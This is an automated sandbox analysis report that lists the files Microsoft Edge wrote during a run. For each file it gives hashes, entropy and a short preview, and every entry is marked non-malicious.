SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e56b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014592948941532
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUuTon:YWLSGTt1o9LuLgfGBPAzkVj/T8lUuTon
MD5:	6D23467C319764C3996FF87F46300E61
SHA1:	B3ED9F91BEBE1A6EE273A0EA64FF62E75C20ADB5
SHA-256:	B0BA5AC238DFE57C0F2FFD6509EEECFDF0528B25BBAD78C5D3E13854247ACFC5
SHA-512:	113F2D05D741178B8E6722E61579E2740B07A95559DDA857C96ECF36A40D026A7D5A966669657E51450B5184370B0DD0978356E57A44E06E9F79A7D91AD43AFA
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731497430149233}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b8abb6b6-195d-4398-97c6-cd802bd63982.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44682
Entropy (8bit):	6.096322963709888
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB0wuPhDO6vP6OUtcZtcRVED0EccGoup1Xl3jVzXr2:z/Ps+wsI7yOEr60iwchu3VlXr4CRo1
MD5:	E836AE548E5EC0B2B2470868820A25EB
SHA1:	7D58609D57BE28E4ED09BDEF9CE0B7CF46154024
SHA-256:	F25AECE9E0165135C919AF6996158013C1D245F8B7805ACB518742BFF85B94C0
SHA-512:	89B474E3CBE87C2B6C29CBB2F98498731CE36C78AA584D1DD2D3F32C168F6546A931C1E54D483B9BECC5616A91AB5147B502D242ABB691FEC0FDD9E0E8834E47
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d6178759-2e67-49c4-a18b-beba8cf6c49b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45988
Entropy (8bit):	6.087683026296034
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9mKQu8hDO6vP6OUtcZtcRVED0EcP2185CAotGoup1Xl3jVz/:mMk1rT8HR9m660iwP2185Rothu3VlXrr
MD5:	464661E0781A80F71283389437E55928
SHA1:	462C1768B2FE29B3B25233B2C9E03E2CAEA351CB
SHA-256:	04A3AF053575A6E0C7A917C7A4EBC11E55A058D015FF958AF505AED5B8B35D06
SHA-512:	51249F72A34DD4D4A71D485B6BC65FED35031842C7394D455A33071CF252410A23CECCC2AC845698009D48B8E7DB17E45F8B60117517DA1AA891FDC97E79C850
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.847574651593189
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxJxl9Il8uXDnvgB8LHKhWJwiLhSWLkTd1rc:mMY1nvgB2DJbLhNLk0
MD5:	858FBE7E791F31704FCC340E11EEC93E
SHA1:	4CF38730E81FF03AB2A9B815AA200A46430FBDB8
SHA-256:	56CFC0CA5EB751B8015A90E68142381F5E92D0D6843934B9FABC4521FE46503D
SHA-512:	F071BEABDB9207FDDA68F498C66D0BFFFCD7E81B6A86EB81D98516D3C67F7AEBDCBA12A6546FB4E75C1D7B9348DE934AB9B303DEE45D73BE7A87BE8547A5DF14
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.E.B.h.I.d.0.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.w.k.W.o.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002291538281671
Encrypted:	false
SSDEEP:	48:uiTrlKxExzxD9Il8uXD+6aeHODvKHg0dGx4QF4S8k9PIcF0C1Kz3QDmQ6wTVtDhb:dY11aeHOOAlQbcFi4htDhhwCzNjojC7
MD5:	23F80610205DB32B0CE7CBE7B8EB3027
SHA1:	43338BFCD033387440E8B6A3EEBC4A14E0CB88AC
SHA-256:	C3429195688951AA805B44BAD7E3B826131D83289D37A5C9185A0E8A3545567E
SHA-512:	D82F2F81EBAE798EC1213249BCEBD57C373A31A652D9F8295AA5488EC7E55CC2B5215ED2284655FF734B7FD1D8E9856D3690304DF335AF604F8D833050B1DE19
Malicious:	false
